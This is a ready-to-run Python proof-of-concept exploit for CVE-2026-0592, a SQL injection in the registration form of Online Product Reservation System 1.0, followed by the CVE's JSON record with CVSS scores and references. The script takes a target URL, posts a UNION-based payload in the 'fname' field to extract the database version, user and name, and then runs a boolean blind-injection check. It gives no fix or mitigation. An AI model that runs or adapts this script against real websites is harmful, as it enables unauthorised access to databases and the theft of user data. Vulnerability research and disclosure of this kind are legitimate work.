CVE-2026-0592

import requests import sys # CVE-2026-0592 PoC - SQL Injection in Online Product Reservation System 1.0 # Target: /handgunner-administrator/register_code.php # Vulnerable Parameter: fname, lname, address, city, province, country, zip, tel_no, email, username def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2026-0592 This script demonstrates the vulnerability in user registration handler """ # Malicious payload - extracts database version, user, and database name # Using UNION-based SQL injection payload = "' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10--" # Construct the malicious registration data data = { 'fname': payload, 'lname': 'test', 'address': '123 Test St', 'city': 'TestCity', 'province': 'TestProvince', 'country': 'TestCountry', 'zip': '12345', 'tel_no': '1234567890', 'email': '[email protected]', 'username': 'testuser' } try: print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error messages indicating successful injection if 'MySQL' in response.text or 'SQL' in response.text or 'error' in response.text.lower(): print("[!] Potential SQL injection detected - check response for database info") print("[*] Response excerpt:") print(response.text[:500]) else: print("[*] No obvious SQL error detected - manual verification needed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def blind_sqli_test(target_url): """ Blind SQL Injection test - checks if boolean-based blind injection works """ # True condition - should return normal response true_payload = "' AND 1=1--" # False condition - should return different response false_payload = "' AND 1=2--" data_true = {'fname': true_payload, 'lname': 'a', 'address': 'a', 'city': 'a', 'province': 'a', 'country': 'a', 'zip': 'a', 'tel_no': 'a', 'email': '[email protected]', 'username': 'a'} data_false = {'fname': false_payload, 'lname': 'a', 'address': 'a', 'city': 'a', 'province': 'a', 'country': 'a', 'zip': 'a', 'tel_no': 'a', 'email': '[email protected]', 'username': 'a'} try: print("[*] Testing blind SQL injection...") resp_true = requests.post(target_url, data=data_true, timeout=10) resp_false = requests.post(target_url, data=data_false, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[!] Blind SQL injection confirmed!") return True else: print("[*] Blind SQL injection test inconclusive") return False except Exception as e: print(f"[-] Error during blind test: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0592_poc.py <target_url>") print("Example: python cve-2026-0592_poc.py http://target.com/handgunner-administrator/register_code.php") sys.exit(1) target = sys.argv[1] exploit_sqli(target) blind_sqli_test(target)

{"cve": {"id": "CVE-2026-0592", "sourceIdentifier": "[email protected]", "published": "2026-01-05T14:15:54.700", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in code-projects Online Product Reservation System 1.0. This affects an unknown function of the file /handgunner-administrator/register_code.php of the component User Registration Handler. Performing a manipulation of the argument fname/lname/address/city/province/country/zip/tel_no/email/username results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_product_reservation_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "20DD85F8-8BAC-44C5-99EC-F57924CE08AE"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_register_code.php.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_register_code.php.md#poc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.339502", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.339502", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.731130", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}